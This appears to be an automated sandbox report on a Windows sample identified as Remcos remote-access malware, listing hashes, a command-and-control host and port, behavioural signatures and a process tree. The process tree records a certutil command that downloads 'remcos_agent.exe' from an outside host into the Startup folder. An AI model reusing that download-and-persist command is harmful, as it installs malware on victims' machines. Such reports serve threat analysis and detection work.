Analysis

  • max time kernel
    150s
  • max time network
    148s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    10/11/2020, 11:07

General

  • Target
    1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe
  • Size 961KB
  • Sample201110-llc83kfvvs
  • SHA256 1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Family
  • remcos

C2
  • www.rmagent.biz:7181

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Drops startup file 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 28 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe
    "C:\Users\Admin\AppData\Local\Temp\1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe"
    1⤵
    • Drops startup file
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:3160
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\startup.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1856
      • C:\Windows\SysWOW64\certutil.exe
        certutil.exe -urlcache -split -f "http://al-sharqgroup.com/remcos_agent.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\yourfile.exe"
        3⤵
          PID:3980
      • C:\Users\Admin\AppData\Local\Temp\1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe
        "C:\Users\Admin\AppData\Local\Temp\1c76ef4a3f765ace9e4518de52631bac09f50ad67f5927ae7303482658c4f675.exe"
        2⤵
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious use of SetWindowsHookEx
        PID:204

    Network

          MITRE ATT&CK Matrix

          Replay Monitor

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          Downloads

          memory/204-3-0x00000000004C0000-0x00000000004E0000-memory.dmp